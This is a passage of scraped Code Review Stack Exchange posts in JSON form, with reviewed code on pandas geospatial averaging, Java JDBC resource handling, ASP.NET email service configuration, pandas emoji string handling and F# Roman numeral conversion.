</p>\n\n<pre><code>close_points = pd.DataFrame(np.where((distance_matrix < d_crit) & (0 < distance_matrix)), index=[\"p1\", \"p2\"]).T\n</code></pre>\n\n<p>To get the points which are closer than the critical distance (4km in your case, 10000km for this dummy data). </p>\n\n<p>Another way to get the close points without assembling the <code>distance_matrix</code> is this:</p>\n\n<pre><code>point_combinations = np.array((p1, p2)).T\nclose_points = pd.DataFrame(\n np.concatenate( # if A is close to B, B is close to A\n (\n point_combinations[np.ix_(close, [0, 1])],\n point_combinations[np.ix_(close, [1, 0])], # if A is close to B, B is close to A\n )\n ),\n columns=[\"p1\", \"p2\"],\n)\n</code></pre>\n\n<p>Then get the mean of the close median incomes, you could use <code>DataFrame.groupby</code></p>\n\n<pre><code>df[\"neighbours_mean\"] = close_points.groupby(\"p1\").apply(\n lambda x: (df.loc[x[\"p2\"], \"median_income\"]).mean()\n)\n</code></pre>\n\n<blockquote>\n<pre><code> lat lon median_income neighbours_mean\n0 17.57286141383691 77.468171894071 30457.58517301446 30794.78854097742\n1 36.994815385791796 16.15794587888287 28128.161499741665 29640.567671359968\n2 -27.484272237994304 52.5218807039962 45327.79214358458 28367.842422379927\n3 -22.468603945430697 141.0382802815487 44693.58769900285 32114.24852431677\n4 166.91859378037054 -41.961053222720025 31549.474256969163 32323.686056555547\n5 105.02101370975925 10.402171111045613 33781.625196021734 28564.170628892793\n6 24.49604199381563 153.21478978535797 21122.142523698873 34409.152403209606\n7 -154.4270190487607 -148.63345210744535 10192.035317760732 32608.604330769795\n8 -172.72137692148274 119.74314439725768 26520.878506738474 23294.56216951406\n9 100.13643034194618 133.2043733688549 31563.489691039802 28593.31119269739\n</code></pre>\n</blockquote>\n\n<p>please test this against a sample set of your data</p>\n\n<hr>\n\n<h1>memory</h1>\n\n<p>If you still run into memory problems, you'll need to start calculation the distances in chunks, and then later concatenate them. An alternative is to use <a href=\"https://dask.org/\" rel=\"nofollow noreferrer\"><code>dask</code></a> instead of <code>pandas</code> and <code>numpy</code></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T20:23:40.403",
"Id": "420959",
"Score": "0",
"body": "I was able to get this solution to work. It's many times faster, however I did run into some memory issues along the way."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T15:29:56.313",
"Id": "217561",
"ParentId": "217557",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T14:04:42.170",
"Id": "217557",
"Score": "3",
"Tags": [
"python",
"numpy",
"geospatial"
],
"Title": "Aggregate Pandas Columns on Geospacial Distance"
} | 217557 |
<p>Following approach uses more Functional approach (non OOP), each method is passed DataSource as dependency.</p>
<p>I've written this piece and I'm wondering if there's something that can be improved. I wish to add ResultSet to try block but not finding any option. Is there a way?</p>
<p>Also please review the class MySQL.</p>
<pre><code>public static Iterator<StateEntity> findAllPrepared(DataSource dataSource, int page, int size) throws SQLException {
List<StateEntity> list = new ArrayList<>();
ResultSet rs = null;
String sql = "SELECT * FROM states LIMIT ?, ?";
try (
Connection connection = dataSource.getConnection();
PreparedStatement statement = connection.prepareStatement(sql, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
) {
statement.setInt(1, page);
statement.setInt(2, size);
rs = statement.executeQuery();
while(rs.next()) {
list.add(new StateEntity(rs.getString("stateId"), rs.getString("stateName")));
}
} finally {
if(rs != null) rs.close();
}
return list.iterator();
}
</code></pre>
<p><strong>StateEntity</strong></p>
<pre><code>public class StateEntity {
private String id;
private String name;
public StateEntity(String id, String name) {
this.id = id;
this.name = name;
}
public String getId() {
return id;
}
public String getName() {
return name;
}
}
</code></pre>
<p><strong>SQL Connection</strong></p>
<pre><code>public class MySQL {
public static MysqlDataSource dataSource = new MysqlDataSource();
private static Map<String, String> parameters = new HashMap<String, String>(){
{
put("authReconnect", "true");
put("useSSL", "false");
put("allowMultiQueries", "true");
put("useUnicode", "true");
put("useJDBCCompliantTimezoneShift", "true");
put("useLegacyDatetimeCode", "false");
put("serverTimezone", "UTC");
}
};
private static Map<String, String> credentials = new HashMap<String, String>(){
{
put("host", System.getenv("HOST") != null ? System.getenv("HOST") : "localhost");
put("schema", System.getenv("SCHEMA") != null ? System.getenv("SCHEMA") : "usa");
put("username", System.getenv("USERNAME") != null ? System.getenv("USERNAME") : "root");
put("password", System.getenv("PASSWORD") != null ? System.getenv("PASSWORD") : "mypass");
}
};
static {
String query = parameters.entrySet().stream()
.map(p -> p.getKey() + "=" + p.getValue())
.reduce((p1, p2) -> p1 + "&" + p2)
.orElse("");
dataSource.setURL("jdbc:mysql://" + credentials.get("host")+":3306/" + credentials.get("schema") + "?" + query);
dataSource.setUser(credentials.get("username"));
dataSource.setPassword(credentials.get("password"));
}
}
</code></pre>
<p><strong>Test</strong></p>
<pre><code>@Test
public void testGetAllPrepared() throws SQLException {
Iterator<StateEntity> states = State.findAllPrepared(MySQL.dataSource, 0, 5);
long count = 0;
while (states.hasNext()) {
count++;
StateEntity stateEntity = states.next();
System.out.println(stateEntity.getId());
assertNotNull(stateEntity);
assertNotNull(stateEntity.getId());
assertNotNull(stateEntity.getName());
assertEquals(2, stateEntity.getId().length());
}
assertEquals(5, count);
}
</code></pre>
| [] | [
{
"body": "<p>Starting out with your first question: no, there isn't. But you may put the result set into another nested try block. Still not super-elegant, but a bit better in my opinion:</p>\n\n<pre><code>try (\n Connection connection = dataSource.getConnection();\n PreparedStatement statement = connection.prepareStatement(sql, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n) {\n statement.setInt(1, page);\n statement.setInt(2, size);\n try (ResultSet rs = statement.executeQuery()) {\n while(rs.next()) {\n list.add(new StateEntity(rs.getString(\"stateId\"), rs.getString(\"stateName\")));\n }\n }\n</code></pre>\n\n<p>Regarding the method itself: why do you return an iterator instead of the list itself? This severely limits the capabilities of the return value without any benefit. (E.g. you cannot use <code>size()</code> or <code>stream()</code> which you could do with the list.)</p>\n\n<p>Regarding the MySql class now:</p>\n\n<p>Are you aware that you actually create an anonymous subclass with the map construction using curly braces and an object initializer? I never found this on par with the problem solved here. Fortunately, Java 9 brought us <code>Map.of</code>, so I recommend replacing this construct with </p>\n\n<pre><code>private static Map<String, String> parameters = Map.of(\n \"authReconnect\", \"true\",\n ...\n);\n</code></pre>\n\n<p>Regarding the <code>query = ...stream...reduce...orElse</code>: you can achive the same by simply using a joining collector:</p>\n\n<pre><code>String query = parameters.entrySet().stream()\n .map(p -> p.getKey() + \"=\" + p.getValue())\n .collect(Collectors.joining(\"&\"));\n</code></pre>\n\n<p>The MySql class in itself is just global variables. This is \"somewhat ok\" as long as you don't employ advanced dependency injection possibilities like spring or a CDI container, but keep in mind that these globals are generally regarded as bad. Advice: read up on dependency injection, and see what options there are.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T06:23:39.637",
"Id": "217655",
"ParentId": "217559",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T14:56:36.487",
"Id": "217559",
"Score": "2",
"Tags": [
"java",
"jdbc"
],
"Title": "PreparedStatement for closable recordset and connection"
} | 217559 |
<p>I have an ASP.net MVC5 project which involve different domain services, and one of it are <code>EmailService</code> which will send email if entity is updated.</p>
<pre><code>public class Project {
string ProjectType {get; set;}
string Name {get; set;}
}
public interface IProjectService {
event void EventHandler<ProjectEventArgs> Updated;
}
public interface IEmailLogRepository {
void Insert(EmailLog obj);
}
public class EmailService {
private readonly IEmailLogRepository _repos;
public string SmtpServer {get;set;}
public string SmtpPort {get;set;}
public string SmtpSender {get;set;}
public string SmtpUsername {get;set;}
public string SmtpPassword {get;set;}
......
public string TemplateASubjectFormat {get;set;}
public string TemplateBSubjectFormat {get;set;}
public string TemplateAContentFormat {get;set;}
public string TemplateBContentFormat {get;set;}
public EmailService(IProjectService service, IEmailLogRepository repos) {
service.Updated += OnProjectUpdated;
_repos = repos;
}
private void OnProjectUpdated(object sender, ProjectEventArgs args) {
if (args.Entity.ProjectType == "A") SendEmailWithTemplateA(args.Entity);
if (args.Entity.ProjectType == "B") SendEmailWithTemplateB(args.Entity);
}
private void SendEmailWithTemplateA(Project obj){
MailMessage mail = new MailMessage();
mail.Suject = string.Format(TemplateASubjectFormat, obj.Name);
mail.Content = string.Format(TemplateAContentFormat, obj.Name);
......
SendEmail(mail);
}
private void SendEmailWithTemplateB(Project obj){
MailMessage mail = new MailMessage();
mail.Suject = string.Format(TemplateBSubjectFormat, obj.Name);
mail.Content = string.Format(TemplateBContentFormat, obj.Name);
......
SendEmail(mail);
}
private void SendEmail(MailMessage mail){
EmailLog log = new EmailLog();
log.Email = mail.ToAdress;
try{
SmtpClient smtp = new SmtpClient();
........
smtp.Send(mail);
log.Status = "Success";
_repos.Insert(log);
}catch(Exception ex){
log.Status = string.Format("Error: {0}", ex.Message);
_repos.Insert(log);
}
}
}
public class ProjectController : Controller
{
private readonly IProjectService _service;
private readonly EmailService _emailService;
public ProjectController(IDbConnection connection, IProjectService service, IEmailLogRepository emailRepos){
_service = service;
_emailService = new EmailService(_service, emailRepos);
Dictionary<string, string> settings = Settings.Load(connection);
_emailService.SmtpServer = settings["SmtpServer"];
........
_emailService.TemplateASubjectFormat = settings["TemplateASubjectFormat"];
_emailService.TemplateAContentFormat = settings["TemplateAContentFormat"];
_emailService.TemplateBSubjectFormat = settings["TemplateBSubjectFormat"];
_emailService.TemplateBContentFormat = settings["TemplateBContentFormat"];
........
}
}
</code></pre>
<p>In the above code, the <code>EmailService</code> contains lots of settings like <code>Smtp</code> and template info for different project types, those settings are located in database currently (one settings table but it stored all settings for different services), and the service properties are assigned in ASP.net controller constructor. </p>
<p>This kind of setting properties assignment caused the constructor contains a lots of lines, some controller may require more than one service to work, each services in my projects are designed like this, and I feel it's not a good design, so may I check what's the best practice for assign settings value for setting assignment?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T18:50:00.297",
"Id": "421088",
"Score": "0",
"body": "Why are there so many `........`? You have to post all the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T00:37:28.200",
"Id": "421118",
"Score": "0",
"body": "There is a lot of code missing here, making us guess at your intentions. That's not acceptable. Please take a look at the [FAQ on how to get the best value out of Code Review](https://codereview.meta.stackexchange.com/q/2436/52915)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:58:28.677",
"Id": "421160",
"Score": "0",
"body": "Well, I think that the missing parts are somehow straightforward (just repeat for the missing fields) and they may be even removed all together but..."
}
] | [
{
"body": "<p>The very first problem is to move some responsibilities out of the controller. IMHO controllers should do as little as possible because their responsibility should be to glue the HTTP request to the domain model.</p>\n\n<p>In your case the controller should not create and configure the service also because it makes impossible (OK...just hard) to test both in isolation. Please pick a better name but the very first thing to do is to receive an <code>IEmailService</code> service exactly the same way you receive the others. </p>\n\n<p>This MIGHT not be always possible without some major refactoring then I'd start introducing a <em>factory</em>:</p>\n\n<pre><code>public ProjectController(IProjectService service, IEmailServiceFactory factory) {\n _service = service;\n _emailService = factory.GetService();\n}\n</code></pre>\n\n<p>That hypothetical factory method is simply:</p>\n\n<pre><code>public GetService() {\n var emailService = new EmailService(_service, emailRepos);\n var settings = Settings.Load(connection);\n emailService.SmtpServer = settings[\"SmtpServer\"];\n\n // ...\n emailService.TemplateASubjectFormat = settings[\"TemplateASubjectFormat\"];\n // ...\n\n return emailService;\n} \n</code></pre>\n\n<p>This is easy because you're just moving your code from one class to another and you introduced another service.</p>\n\n<p>Now controllers came back to a reasonable level of responsibilities (and complexity) and they're also <strong>testable</strong> because you can mock the <code>IEmailServiceFactory</code> service (no need to send tons of e-mails when running your tests on the controller...)</p>\n\n<p>As soon as you're ready (or simply as a second step on your refactoring) you should receive the <code>IEmaiLService</code> service directly - instead of going trough a factory.</p>\n\n<hr>\n\n<p>There are also few things to say about the other code. Those initialization lines are tedious, if you're OK to tie your <code>EmailService</code> to its DB representation then you can decorate its properties:</p>\n\n<pre><code>[ConfigurationColumName(\"SmptServer\")]\npublic string SmtpServer {get;set;}\n</code></pre>\n\n<p>You can then use a touch of Reflection to enumerate its properties:</p>\n\n<pre><code>foreach (var property in typeof(EMailService).GetProperties()) {\n var attribute = property.GetCustomAttribute<ConfigurationColumNameAttribute>();\n if (attribute == null) {\n continue;\n }\n\n property.SetValue(obj, settings[attribute.Name]);\n}\n</code></pre>\n\n<p>Of course you need to define a <code>ConfigurationColumNameAttribute</code> class and add proper error handling.</p>\n\n<hr>\n\n<p>We then arrive to the second error-prone (and not scalable) part of your code. You hard-coded the number of templates. What if you will ever need 3? Or 4? Or just one? You may simply use a dictionary (if not an array):</p>\n\n<pre><code>public Dictionary<string, TemplateDefinition> Templates { get; } = new ...;\n</code></pre>\n\n<p>Where <code>TemplateDefinition</code> has <code>Subject</code> and <code>Content</code> properties. Code should now be simple enough that you may even avoid Reflection.</p>\n\n<p><code>SendEmailWithTemplateA()</code> and <code>SendEmailWithTemplateB()</code> are almost exact duplicates, if you use a dictionary then there should not be any repeated code.</p>\n\n<hr>\n\n<p>Mechanism you're using for templating is fragile. It's hard to write long strings using <code>{0}</code> and <code>{1}</code> as placeholders. Do yourself a BIG favor and switch to a small, fast and well-tested templating engine like Mustache. You'll be able to write your template as <code>Hello {{username}}, we write to you to inform you about the new {{product}}...</code>. It'll be much easier to configure and edit your templates and you'll minimize the chances to mix-up things when changing something in your code. Do not forget that this has to be tested too.</p>\n\n<hr>\n\n<p>Do not catch <code>Exception</code>, is <code>OutOfMemoryException</code> or <code>AccessViolationException</code> something you want to handle that way?</p>\n\n<hr>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:45:11.907",
"Id": "217629",
"ParentId": "217563",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T16:20:20.707",
"Id": "217563",
"Score": "1",
"Tags": [
"c#",
"event-handling",
"email",
"configuration",
"asp.net-mvc-5"
],
"Title": "ASP.net service that sends email whenever an entity is updated"
} | 217563 |
<p>I was working with twitter data, and extracted every emoji from the data. But, when I passed that data through <code>CountVectorizer</code>, colons where substracted from the strings. So, the string emoji <code>:ok_hand: :thumbs_up:</code> turned into <code>ok_hand thumbs_up</code>. I wanted to re-add those colons so then I could emojize them back. I managed to do that, but I'm quite sure my method is very inefficient. The emojis are the indexes of a coefficients DataFrame, like this:</p>
<pre><code> index coef
ok_hand thumbs_up 0.4
airplane 0.2
</code></pre>
<p>So what I did was this:</p>
<pre><code>to_emojize=pd.Series(coef_mat_emoji.index)
to_emojize=to_emojize.apply(lambda x: x.split())
to_emojize=to_emojize.apply(lambda x:[':'+i+':' for i in x])
to_emojize=to_emojize.apply(lambda x: emoji.emojize(x, use_aliases=True))
coef_mat_emoji.index=to_emojize
</code></pre>
<p>Is there a better way to do this?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:56:29.663",
"Id": "420953",
"Score": "0",
"body": "I think you could put all three steps into a single function and apply them in one iteration over the data."
}
] | [
{
"body": "<p>Both <code>pandas.Series</code> and <code>pandas.Index</code> have vectorized string additions. You can just do:</p>\n\n<pre><code>to_emojize = pd.Series(\":\" + coef_mat_emoji.index + \":\")\ncoef_mat_emoji.index = to_emojize.apply(emoji.emojize, use_aliases=True)\n</code></pre>\n\n<p>Note that <code>pandas.Series.apply</code> passes any additional keyword arguments along to the function, so there is no need for the <code>lambda</code> here at all.</p>\n\n<p>This will create an intermediate series from the first addition, which might not be the most memory efficient way to do this. But it is the easiest and most readable, so unless you run out of memory with this, this is what I would use.</p>\n\n<p>Alternatively you could put it all into one <code>apply</code> call (Python 3.6+ for <code>f-string</code>s):</p>\n\n<pre><code>coef_mat_emoji.index = pd.Series(coef_mat_emoji.index).apply(\n lambda x: emoji.emojize(f\":{x}:\", use_aliases=True))\n</code></pre>\n\n<p>You would have to timeit with your actual data to see if this is any faster. It might be that the call to <code>emoji.emojize</code> will dominate anyway.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:21:32.660",
"Id": "217613",
"ParentId": "217565",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217613",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T16:56:22.147",
"Id": "217565",
"Score": "1",
"Tags": [
"python",
"strings",
"pandas"
],
"Title": "Efficient way to add a colon before and after every word in strings inside a Series"
} | 217565 |
<p>Yet another exercise in converting values between the decimal and roman number systems.
I have tried the functional way.</p>
<p>Any comments are welcome - but I'm especially interested in answers focusing on the F# specific functional approach and less in if I obey each and every rule for roman numbers.</p>
<p><strong>A type definition:</strong></p>
<pre><code>module RomanNumbers
open System
type RomanNumber = {
Roman: string;
Value: int;
}
</code></pre>
<p>Acts as a "pivot" object holding the values from both systems, so maybe the name is not quite adequate.</p>
<p><strong>Functionality</strong></p>
<pre><code>let getValue = function
| 'I' -> 1
| 'V' -> 5
| 'X' -> 10
| 'L' -> 50
| 'C' -> 100
| 'D' -> 500
| 'M' -> 1000
| ch -> failwith (sprintf "Invalid character: %c" ch)
let validate roman =
if String.IsNullOrWhiteSpace(roman) then raise (ArgumentNullException())
let exceptions = [
"IIV"; "IIX"; "IL"; "IC"; "ID"; "IM";
"XXL"; "XXC"; "XD"; "XM";
"CCD"; "CCM";
"IVV"; "IXX"; // Ascending order rule: "IVV" means 4 + 5 but should be VIV 5 + 4 (but that will also be caught by noDuplicates (se below))
"XLL"; "XCC";
"CDD"; "CMM"
]
let noDuplicates = [ 'V'; 'L'; 'D' ]
roman
|> Seq.iter
(fun ch -> getValue ch |> ignore)
exceptions
|> List.iter
(fun part ->
if (string roman).Contains(part)
then failwith (sprintf "Invalid Sequence: %s" part))
noDuplicates
|> List.iter
(fun part ->
if roman |> Seq.countBy (fun ch -> ch = part) |> Seq.last |> (fun (k, i) -> k && i > 1)
then failwith (sprintf "%c can only appear once in %s" part roman))
()
let fromRoman roman =
validate roman
let length = roman.Length
let first = getValue roman.[0]
if length = 1 then
{ Roman = roman; Value = first }
else
let rec converter index prev sum =
match index with
| x when x = length -> sum
| _ ->
let curValue = getValue roman.[index]
match curValue with
| x when x > prev -> converter (index + 1) curValue (sum + curValue - prev * 2)
| _ -> converter (index + 1) curValue (sum + curValue)
let value = converter 1 first first
{ Roman = roman; Value = value }
let fromDecimal value =
if value <= 0 then raise (ArgumentOutOfRangeException("value", sprintf "Decimal value must be > 0: %d" value))
let postfixBy value postfix = sprintf "%s%s" value postfix
let rec converter num result =
match num with
| 0 -> result
| _ when num >= 1000 -> converter (num - 1000) (postfixBy result "M")
| _ when num >= 900 -> converter (num - 900) (postfixBy result "CM")
| _ when num >= 500 -> converter (num - 500) (postfixBy result "D")
| _ when num >= 400 -> converter (num - 400) (postfixBy result "CD")
| _ when num >= 100 -> converter (num - 100) (postfixBy result "C")
| _ when num >= 90 -> converter (num - 90) (postfixBy result "XC")
| _ when num >= 50 -> converter (num - 50) (postfixBy result "L")
| _ when num >= 40 -> converter (num - 40) (postfixBy result "XL")
| _ when num >= 10 -> converter (num - 10) (postfixBy result "X")
| _ when num >= 9 -> converter (num - 9) (postfixBy result "IX")
| _ when num >= 5 -> converter (num - 5) (postfixBy result "V")
| _ when num >= 4 -> converter (num - 4) (postfixBy result "IV")
| _ -> converter (num - 1) (postfixBy result "I")
let roman = converter value ""
{ Roman = roman; Value = value }
// Takes any roman number string and transform it to its normalized or minimal form
let asNormalizedRoman roman = fromDecimal (fromRoman roman).Value
</code></pre>
<p><strong>Operator extensions</strong></p>
<pre><code>let inline romanOper r1 oper r2 = fromDecimal (oper r1.Value r2.Value)
// Extending with operators
type RomanNumber
with
static member inline (+) (r1, r2) = romanOper r1 (+) r2
static member inline (-) (r1, r2) = romanOper r1 (-) r2
static member inline (*) (r1, r2) = romanOper r1 (*) r2
static member inline (/) (r1, r2) = romanOper r1 (/) r2
static member inline (%) (r1, r2) = romanOper r1 (%) r2
</code></pre>
<hr>
<p><strong>Some test cases</strong></p>
<pre><code>printfn "Numbers from 1 to 3999"
for i in 1..3999 do
let roman = fromDecimal i
let decimal = fromRoman roman.Roman
//if roman.Roman <> decimal.Roman || roman.Value <> decimal.Value then
printfn "%A <-> %A" roman decimal
let path = "<your path>\p089_roman.txt"
printfn ""
printfn "From File: "
for line in File.ReadAllLines(path) do
let value = fromRoman line
let roman = fromDecimal value.Value
if roman.Roman <> value.Roman || roman.Value <> value.Value then
printfn "%A <-> %A" value roman
printfn ""
printfn "Test of Operators: "
let r1 = fromDecimal 1000
let r2 = fromDecimal 3
printfn "%A" (r1 + r2)
printfn "%A" (r1 - r2)
printfn "%A" (r1 * r2)
printfn "%A" (r1 / r2)
printfn "%A" (r1 % r2)
</code></pre>
<p><a href="https://projecteuler.net/project/resources/p089_roman.txt" rel="nofollow noreferrer"><strong>p089_roman.txt</strong></a> contains <a href="https://projecteuler.net/problem=89" rel="nofollow noreferrer">one thousand Roman numerals that are not necessarily in canonical form</a>.</p>
<hr>
<p>As an attempt to minimize magic numbers and strings/chars and to get rid of the heavy match pattern in <code>fromDecimal</code>, one could define the following:</p>
<pre><code>let I = 1
let V = 5
let X = 10
let L = 50
let C = 100
let D = 500
let M = 1000
type RomanValue = RV of int * string
let specialRomans = [
RV(M, "M");
RV(M-C, "CM");
RV(D, "D");
RV(D-C, "CD");
RV(C, "C");
RV(C-X, "XC");
RV(L, "L");
RV(L-X, "XL");
RV(X, "X");
RV(X-I, "IX");
RV(V, "V");
RV(V-I, "IV");
RV(I, "I");
]
let getValue = function
| 'I' -> I
| 'V' -> V
| 'X' -> X
| 'L' -> L
| 'C' -> C
| 'D' -> D
| 'M' -> M
| ch -> failwith (sprintf "Invalid character: %c" ch)
</code></pre>
<p>and then <code>fromDecimal</code> could be "reduced" to:</p>
<pre><code>let fromDecimal value =
if value <= 0 then raise (ArgumentOutOfRangeException("value", sprintf "Decimal value must be > 0: %d" value))
let postfixBy value postfix = sprintf "%s%s" value postfix
let rec folder (res, num) rv =
match num, rv with
| 0, _ -> res, num
| _, RV(v, s) ->
match num with
| _ when num >= v -> folder (postfixBy res s, num - v) rv
| _ -> (res, num)
let roman, _ = specialRomans |> List.fold folder ("", value)
{ Roman = roman; Value = value }
</code></pre>
<p>I'm not sure, what I like best?</p>
| [] | [
{
"body": "<h2>General</h2>\n\n<p>I think the correct translation is <a href=\"https://dict.leo.org/englisch-deutsch/r%C3%B6mische%20ziffern\" rel=\"nofollow noreferrer\">Roman numeral</a>.</p>\n\n<p>As far as I understood, it is not a good functional style to throw exceptions in case of unexpected input because it breaks the purity. An alternative approach is <a href=\"https://fsharpforfunandprofit.com/posts/recipe-part2/\" rel=\"nofollow noreferrer\">Railway oriented programming</a> which makes the code much cleaner and separates the business logic from the exception handling.</p>\n\n<p>Internal stuff (like <code>getValue</code>) could be private.</p>\n\n<h2>Function validate</h2>\n\n<p>The whole validation logic is placed in one function. Splitting the single rules in its own function allows to give each rule a name and it puts things together that belongs together (e.g. <code>exceptions</code> and <code>duplicates</code> are used by one rule only).</p>\n\n<h2>Function fromRoman</h2>\n\n<p>It is not required to handle the case <code>length = 1</code> specially. The recursive <code>converter</code> function can be simplified by using fold (as you did in <code>fromDecimal</code> in the updated version)</p>\n\n<h2>Function fromDecimal</h2>\n\n<p>The function <code>postfixBy</code> is actually not required because string can be concatinated with <code>result + \"M\"</code>.</p>\n\n<hr>\n\n<p>Below is an alternative implementaion (based on your initial question) where I tried to consider the points above. The API has chnaged to <code>RomanNumeral.fromNumber (int -> Result<RomanNumeral, string>)</code> and <code>RomanNumeral.fromStr (string -> Result<RomanNumeral, string>)</code>. The <code>Result<a', b'></code> type requires handle the error case (similar to an Option type). If desired, it can be unwrapped with an exception in case of an error using the (external) <code>unwrap</code> function. However, the actual error handling has been moved to the caller who has to handle possible errors befor getting the result.</p>\n\n<pre><code>open System\n\nmodule RomanNumeral = \n\n (* TYPES *)\n\n type RomanNumeral =\n { Text:string;\n Value:int}\n\n type private ParsingState = \n { Sum:int;\n Prev:int } \n\n (* GENERIC HELPER *)\n\n let private getDuplicates items = \n items |> List.groupBy id\n |> List.filter( fun (_,set) -> set.Length > 1)\n |> List.map( fun (key,_) -> key )\n\n let private getNones selector items =\n items \n |> List.map (fun x -> (selector x, x))\n |> List.filter (fst >> Option.isNone)\n |> List.map snd\n\n let private toError msg invalidItems =\n Error(sprintf \"%s: %s\" msg (invalidItems |> String.concat \"; \"))\n\n (* DOMAIN HELPER *)\n\n let private getOptionValue = function \n | 'I' -> Some(1)\n | 'V' -> Some(5)\n | 'X' -> Some(10)\n | 'L' -> Some(50)\n | 'C' -> Some(100)\n | 'D' -> Some(500)\n | 'M' -> Some(1000)\n | _ -> None\n\n let private getValue x =\n match x |> getOptionValue with\n | Some(v) -> v\n | None -> failwith \"Invalid character\"\n\n let private parseStr str = \n let folder state current =\n if current > state.Prev\n then { Sum = state.Sum + current - state.Prev * 2; Prev = current}\n else { Sum = state.Sum + current; Prev = current} \n str \n |> Seq.map getValue \n |> Seq.fold folder { Sum = 0; Prev = 0; } \n |> (fun x -> x.Sum)\n\n let private parseNumber num =\n let map = [ (1000, \"M\"); (900, \"CM\"); (500, \"D\"); (400, \"CD\"); (100, \"C\"); (90, \"XC\");\n (50, \"L\"); (40, \"XL\"); (10, \"X\"); (9, \"IX\"); (5, \"V\"); (4, \"IV\"); (1, \"I\") ]\n let rec converter (result:string) num = \n let element = map |> List.tryFind (fun (v, _) -> num >= v) \n match element with\n | Some (value, romanStr) -> (num - value) |> converter (result + romanStr)\n | None -> result \n num |> converter \"\"\n\n (* VALIDATION *)\n\n let private validateSingeCharacters (roman:string) =\n let invaliChars = roman |> Seq.toList |> getNones getOptionValue |> List.map string\n match invaliChars with\n | _::_ -> invaliChars |> toError \"Invalid Characters\"\n | [] -> Ok(roman)\n\n let private validateNotNullOrEmpty roman = \n match (roman |> String.IsNullOrWhiteSpace) with\n | true -> Error(\"Input null or empty\")\n | false -> Ok(roman)\n\n let private validateExceptionalRules (roman:string) =\n // Ascending order rule: \"IVV\" means 4 + 5 but should be VIV 5 + 4 (but that will also be caught by noDuplicates (se below))\n let exceptions = \n [ \"IIV\"; \"IIX\"; \"IL\"; \"IC\"; \"ID\"; \"IM\"; \"XXL\"; \"XXC\"; \"XD\"; \"XM\";\n \"CCD\"; \"CCM\"; \"IVV\"; \"IXX\"; \"XLL\"; \"XCC\"; \"CDD\"; \"CMM\" ]\n\n let invalidParts = exceptions |> List.filter (fun part -> roman.Contains(part))\n match invalidParts with\n | _::_ -> invalidParts |> toError \"Invalid Sequences\"\n | [] -> Ok(roman)\n\n let private validateNoDuplicates roman =\n let charsThatMustBeUnique = [ \"V\"; \"L\"; \"D\" ]\n let duplicates = charsThatMustBeUnique |> getDuplicates\n match duplicates with\n | _::_ -> duplicates |> toError \"Following characters must be unique\"\n | [] -> Ok(roman)\n\n let private validateStr x =\n x \n |> validateSingeCharacters \n |> Result.bind validateNotNullOrEmpty\n |> Result.bind validateExceptionalRules\n |> Result.bind validateExceptionalRules\n |> Result.bind validateNoDuplicates\n\n let private validateNumberGreaterThanZero number =\n match number > 0 with\n | true -> Ok(number)\n | false -> Error(\"Number must be greater than 0.\")\n\n let private validateNumber x =\n x |> validateNumberGreaterThanZero\n\n (* PUBLIC API *)\n\n let fromStr str =\n str \n |> validateStr\n |> Result.map (fun s -> { Text = s; Value = s |> parseStr})\n\n let fromNumber number =\n number\n |> validateNumber\n |> Result.map (fun number -> { Text = number |> parseNumber; Value = number})\n\n let inline private romanOper oper (r1) (r2) = (oper r1.Value r2.Value)\n\n // Extending with operators\n type RomanNumeral with \n static member inline (+) (r1, r2) = romanOper (+) r1 r2 \n static member inline (-) (r1, r2) = romanOper (-) r1 r2\n static member inline (*) (r1, r2) = romanOper (*) r1 r2\n static member inline (/) (r1, r2) = romanOper (/) r1 r2\n static member inline (%) (r1, r2) = romanOper (%) r1 r2 \n\nmodule Test =\n\n let unwrap x = match x with | Ok(v) -> v | Error(msg) -> failwith(msg)\n\n // fromNumber / fromStr\n printfn \"Numbers from 1 to 100\"\n for i in 1..100 do\n let dec = i\n let roman = i |> RomanNumeral.fromNumber |> unwrap\n let romanRev = RomanNumeral.fromStr roman.Text |> unwrap\n printfn \"%i: %s -> %i; %s -> %i\" dec roman.Text roman.Value romanRev.Text romanRev.Value\n\n // operator\n let a = RomanNumeral.fromStr(\"X\") |> unwrap\n let b = RomanNumeral.fromStr(\"XI\") |> unwrap\n let c = b - a\n\n // error input\n let d = RomanNumeral.fromStr(\"fdsgfdgas\")\n let e = RomanNumeral.fromNumber(-22)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T18:14:22.167",
"Id": "421085",
"Score": "0",
"body": "Thanks a lot for the review. I've added an answer that builds on your comments and implementation. Your answer is very instructive. I haven't been aware of the Result type, - it seems rather useful. A little remark: your `validateNoDuplicates` doesn't seem to relate to the argument roman string?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T11:17:37.993",
"Id": "217617",
"ParentId": "217566",
